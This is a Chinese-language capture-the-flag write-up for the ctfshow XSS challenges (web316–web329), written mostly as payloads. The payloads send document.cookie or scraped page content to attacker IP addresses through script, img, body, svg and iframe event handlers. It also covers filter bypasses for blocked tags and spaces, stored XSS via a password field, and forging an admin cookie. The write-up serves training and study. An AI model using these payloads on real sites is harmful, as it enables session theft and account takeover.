ctfshow xss模块

达达2025-08-032025-08-03

web316

试了好久写文件 nc x到的总是自己 bot点击的cookie接收不到

最后还是用python监听http服务

能够XSS的

外带

<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>

<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>

<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>

<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件，这个向量是使焦点自动跳到输入元素上,触发焦点事件，无需用户去触发

<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>

<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">

<img src='' onerror=location.href='http://118.195.161.220:39543/'+document.cookie>

Cookie里有 flag=you%20are%20not%20admin%20no%20flag

通过网络请求获取管理员cookie 要用到服务器来接收利用href请求和 document.cookie 来获取cookie

本地开启http服务 python3 -m http.server 80

1	<script>location.href="http://ip:80/"+document.cookie</script>

略微等待一会等bot那边点击传回cookie

web317

过滤了script标签

用img

1	<img src='' onerror=location.href='http://ip:80/'+document.cookie>

web318

过滤img，用body

1	<body onload="window.open('http://:80/'+document.cookie)">

web319

body标签还是可以的同上

web320

过滤了空格用%09或者/替换

1 2	<body/onload="window.open('http://ip:80/'+document.cookie)"> <body%09onload="window.open('http://ip:80/'+document.cookie)">

web321

不能用%09了

可以用/绕过

1	<body/onload="window.open('http://ip:80/'+document.cookie)">

web322

上面payload可以用

web323 324 325 326

都可以/绕过

web327

来到了存储型xss

收件人是admin就可以了

1	<script>location.href="http://121.40.70.148:80/"+document.cookie</script>

web328

注册一个用户登陆

1	用户名随便密码<script>location.href="http://ip:80/"+document.cookie</script>

监听可以得到管理员cookie

修改cookie 伪造admin用户登录

在用户管理界面可以看到flag

web329

cookie设置了有效期拿到cookie时就已经失效了需要直接拿用户管理界面的内容

当管理员访问用户管理页面时，xss直接将这个页面的内容(flag)拿出来

payload：迭代所有行，如果行包含ctfshow关键字，那么将该值给到远程服务器，进而获得flag。

1	<script>$('.layui-table-cell').each(function(index,value){{if(value.innerHTML.indexOf('ctfshow') > -1){window.open("http://121.40.70.148:80/"+value.innerHTML);}}})</script>